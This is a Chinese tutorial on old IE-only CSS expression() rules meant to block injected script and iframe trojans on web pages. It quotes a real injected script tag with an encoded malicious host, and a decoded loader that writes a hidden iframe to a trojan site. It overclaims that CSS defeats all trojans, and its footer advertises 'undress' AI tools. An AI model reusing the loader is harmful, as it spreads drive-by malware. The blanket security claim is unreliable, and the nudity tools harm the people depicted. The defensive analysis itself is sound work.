搜索
首页web前端js教程二行代码解决全部网页木马_javascript技巧

 前不久一行代码解决iframe挂马(包含服务器端注入、客户端ARP注入等)》得到了很多朋友的认可,这确实是个避避风雨的好办法。可现在挂网马的方式真如我所料地改变了,现在流行挂<script>木马,汗了,看了几个网友的网站都被这样了——页面的顶部或底部加上了: <br><br>注意,以下地址含有木马,请不要轻易访问: <br><br><script src=http://%76%63%63%64%2E%63%6E></script>
<script></script>
<script></script>
<script></script>
<script></script>
<script></script>
<script></script>
<script></script>
汗死,一连插入了N个一样的<script>标记。偶的电脑什么补丁都打了,直接访问这个http://%76%63%63%64%2E%63%6E(或直接使用迅雷下载),额~ 现形了: <br><br>document.write("<div style='display:none'>") <BR>document.write("<iframe src=http://a.158dm.com/b1.htm?id=017 width=0 height=0>") <BR>document.write("") <BR>又用迅雷下载http://a.158dm.com/b1.htm这个文件,一看,乱七八糟的JS编码,汗,不过找到了一个类似QQ号的数字,直接加加看,汗,然后是专业提供网马的组织,哎,什么世道。还收费蛮高滴呢! <br><br>... <BR>var Kfqq, Qqs="[color=Magenta]784378237[/color]"; qwfgsg="LLLL\\XXXXXLD"; Kfqq = Qqs; <BR>(...略)(下面还有N个统计的JS代码) <BR>针对上面的情况,我也不能白白瞧着不管,想想办法吧,兄弟。喝了碗绿豆粥,糖放得蛮多的,好喝。办法想到了。稍微分析就得出了答案。大家来看看,<script>木马的特点是什么: <br><br><script src=http://%76%63%63%64%2E%63%6E></script>

对了,script木马的src一般都是外域的,也就是src是以http打头的,如果是自己网站的script一般都不用加上http;再看看木马的原形,里面还是输出的iframe、JS代码或是其他代码,不管这么多,来多少杀多少。

来跟我写CSS,一一搞定它们,我写了5种不同的方案,大家来测试一下哈:

解决方案1:

复制代码 代码如下:

iframe{n1ifm:expression(this.src='about:blank',this.outerHTML='');}/*这行代码是解决挂IFRAME木马的哦*/ 
script{nojs1:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');} 
原理:将<script>标记的src拿出来转为小写,再看是不是以“http”开头的外域JS脚本文件,如果是,则页面内容清空并写出“木马被成功隔离!”。反之正常显示。 <br><br>缺点:访客无法看到被感染了<script>木马的页面。 <br><br>解决方案2: <br><br><div class="codetitle"><span><a style="CURSOR: pointer" data="41849" class="copybut" id="copybut41849" onclick="doCopy('code41849')"><U>复制代码 代码如下:<div class="codebody" id="code41849"><BR>iframe{nifm2:expression(this.src='about:blank',this.outerHTML='');} <BR>script{no2js:expression((this.src.toLowerCase().indexOf('http')==0)?document.close():'');} <BR><BR>原理:将外域的JS文件的document.write()使用document.close()强制关闭。木马内容还没有来得及写完,只有部分被强制缓存输出了,剩下的不会再写了 <BR>解决方案3: <br><br><div class="codetitle"><span><a style="CURSOR: pointer" data="19823" class="copybut" id="copybut19823" onclick="doCopy('code19823')"><U>复制代码 代码如下:<div class="codebody" id="code19823"><BR>iframe{ni3fm:expression(this.src='about:blank',this.outerHTML='');} <BR>script{n3ojs:expression((this.src.toLowerCase().indexOf('http')==0)?document.execCommand('stop'):'');} <BR><BR>原理:同到外域的JS文件,立即调用IE私有的execCommand方法来停止页面所有请求,所以接下来的外域JS文件也被强制停止下载了。就像我们点了浏览器的“停止”按钮一样。看来这是JS模拟IE停止按钮的一种方法。 <br><br>解决方案4: <br><br><div class="codetitle"><span><a style="CURSOR: pointer" data="59344" class="copybut" id="copybut59344" onclick="doCopy('code59344')"><U>复制代码 代码如下:<div class="codebody" id="code59344"><BR>iframe{nif4m:expression(this.src='about:blank',this.outerHTML='');} <BR>script{noj4s:expression(if(this.src.indexOf('http')==0)this.src='res://ieframe.dll/dnserror.htm');} <BR><BR>原理:将外域的JS文件的src重写成本地IE404错误页面的地址,这样,外域的JS代码不会下载。 <br><br>解决方案5: <br><br><div class="codetitle"><span><a style="CURSOR: pointer" data="40781" class="copybut" id="copybut40781" onclick="doCopy('code40781')"><U>复制代码 代码如下:<div class="codebody" id="code40781"><BR>iframe{nifm5:expression(this.src='about:blank',this.outerHTML='');} <BR>script{noj5s:expression((this.id.toLowerCase().indexOf('lh')==0)?document.write('木马被成功隔离!'):''));} <BR><BR>第五种方案的页面HTML源代码<script>中要加入以"lh"为前缀的id,如lhWeatherJSapi,<script src="***/**.js" id="lhSearchJSapi"></script> 

以下页面代码里含有一个木马地址,而且木马在页面里重复了6次,大家分别用我上面的不同方案测试一下,看看我的研究如何!(此测试有一定的危险性,请务必打好所有补丁再测试)

复制代码 代码如下:

nbsp;html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
 
 
 
让JS木马的进程迅速中止的CSS代码 
 
 
 
<script></script> 
<script></script> 
<script></script> 
<script></script> 
我是页面本身的1 
<script></script> 
我是页面本身的2 
<script></script> 
我是页面本身的3 
<script></script> 
 
  
其中1.js是自己本站的:

document.write("我是本站的JS文件");
document.write("二行代码解决全部网页木马_javascript技巧");
我的测试环境是:

Windows XP SP2 和windows Vista SP1
IE6/IE7/IE8
已全部打好补丁。

综上所述,所有目前的挂马方式全都破解了,用CSS就可以解决所有木马问题,访客不会再轻易地中毒了。

大家也要仔细研究一下,看看我的代码有什么BUG,有的话一定要拿出来讨论,好解决问题!或是各位有其他更好的办法可以拿出来讨论一下。

声明
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn
PHP Warning: mysqli_query(): Empty query的解决方法PHP Warning: mysqli_query(): Empty query的解决方法Jun 22, 2023 pm 04:45 PM

在使用PHP开发Web应用时,经常会遇到各种各样的问题。其中,一些常见的问题是与MySQL数据库相关的问题。有一种问题是“PHPWarning:mysqli_query():Emptyquery”的错误。本文将介绍此错误的原因以及解决方法。首先,让我们看看这个错误表示什么。当您使用mysqli_query函数执行MySQL查询时,如果该查询为空,则会

PHP Notice: Undefined property: stdClass::$的解决方法PHP Notice: Undefined property: stdClass::$的解决方法Jun 22, 2023 pm 10:24 PM

在使用PHP编写代码时,我们经常会看到这样的错误提示:“PHPNotice:Undefinedproperty:stdClass::$”。这个错误提示通常是由于在使用对象的属性时,该属性不存在而引起的。在本文中,我们将讨论如何解决这个问题。首先,我们需要了解这个错误提示的原因。当我们使用对象的属性时,PHP会首先检查该属性是否存在。如果该属性不存在,

PHP Fatal error: Cannot redeclare的解决方法PHP Fatal error: Cannot redeclare的解决方法Jun 22, 2023 pm 07:43 PM

在使用PHP进行开发的过程中,有时候会遇到“PHPFatalerror:Cannotredeclare”错误,这个错误通常会出现在如下情况:在PHP代码中多次include/require同一个文件。在代码中定义了和已有的函数/类重名的函数/类。这个错误会导致程序无法继续执行,为了解决这个问题,我们需要了解其产生原因和解决方法。产生原

PHP Warning: date() expects parameter 2 to be long, string given的解决方法PHP Warning: date() expects parameter 2 to be long, string given的解决方法Jun 22, 2023 pm 08:03 PM

在使用PHP程序开发时,经常会碰到一些警告或者错误的提示信息。其中,可能出现的一个错误提示就是:PHPWarning:date()expectsparameter2tobelong,stringgiven。这个错误的提示信息意思是:函数date()的第二个参数期望是长整型(long),但是实际传递给它的是字符串(string)。那么,我们

PHP Notice: Trying to get property ‘的解决方法’ of non-object的解决方法PHP Notice: Trying to get property ‘的解决方法’ of non-object的解决方法Jun 22, 2023 am 11:51 AM

当我们在使用PHP进行开发时,有时会遇到”Tryingtogetproperty‘的解决方法’ofnon-object”的错误提示。这个错误的原因一般是因为程序中对一个不存在或者未实例化的对象进行访问,导致了PHP解析器无法识别该对象的属性或方法。那么,如何解决这个错误呢?下面我将为大家介绍几种可能的解决方法。一、检查代码首先,我们需要将出错的代

TranslucentTB不起作用:如何解决TranslucentTB不起作用:如何解决Jun 06, 2023 am 08:21 AM

TranslucentTB是寻求时尚简约桌面外观的Windows11爱好者广泛使用的工具,遇到了障碍。自从发布以来Windows11内部版本22621.1344(22H2)28年2023月日,TranslucentTB对大多数用户不起作用。此错误使用户努力应对其任务栏的有限自定义选项。用户在寻求克服这一挫折的解决方案时,挫败感显而易见。在最近的Windows11更新之后,TranslucentTB无法正常工作的问题已在多个在线平台上广泛报道,包括论坛和社交媒体。用户一直在分享他们的经验,拼命寻找

PHP Notice: Undefined index:的解决方法PHP Notice: Undefined index:的解决方法Jun 22, 2023 am 10:15 AM

当使用PHP开发Web应用程序时,经常会遇到“PHPNotice:Undefinedindex:”这样的错误消息。此错误消息通常与数组相关。在PHP中,当我们使用未定义的数组索引时,就会收到这种类型的错误消息。这通常会发生在以下情况下:尝试访问不存在的数组元素尝试使用错误的键来访问数组在本文中,我们将探讨如何解决此错误,并提供一些常见的应用程序开发实践

PHP Warning: array_push() expects parameter 1 to be array的解决方法PHP Warning: array_push() expects parameter 1 to be array的解决方法Jun 22, 2023 pm 07:17 PM

PHPWarning:array_push()expectsparameter1tobearray的解决方法在PHP开发中,我们常常会遇到“TheWarning:array_push()expectsparameter1tobearray”错误。这个错误通常表示我们使用了一个不是数组的变量作为array_push的第一个参数。

See all articles

热AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover

AI Clothes Remover

用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool

Undress AI Tool

免费脱衣服图片

Clothoff.io

Clothoff.io

AI脱衣机

AI Hentai Generator

AI Hentai Generator

免费生成ai无尽的。

热门文章

R.E.P.O.能量晶体解释及其做什么(黄色晶体)
3 周前By尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.最佳图形设置
3 周前By尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.如果您听不到任何人,如何修复音频
3 周前By尊渡假赌尊渡假赌尊渡假赌

热工具

Atom编辑器mac版下载

Atom编辑器mac版下载

最流行的的开源编辑器

Dreamweaver CS6

Dreamweaver CS6

视觉化网页开发工具

Dreamweaver Mac版

Dreamweaver Mac版

视觉化网页开发工具

记事本++7.3.1

记事本++7.3.1

好用且免费的代码编辑器

MinGW - 适用于 Windows 的极简 GNU

MinGW - 适用于 Windows 的极简 GNU

这个项目正在迁移到osdn.net/projects/mingw的过程中,你可以继续在那里关注我们。MinGW:GNU编译器集合(GCC)的本地Windows移植版本,可自由分发的导入库和用于构建本地Windows应用程序的头文件;包括对MSVC运行时的扩展,以支持C99功能。MinGW的所有软件都可以在64位Windows平台上运行。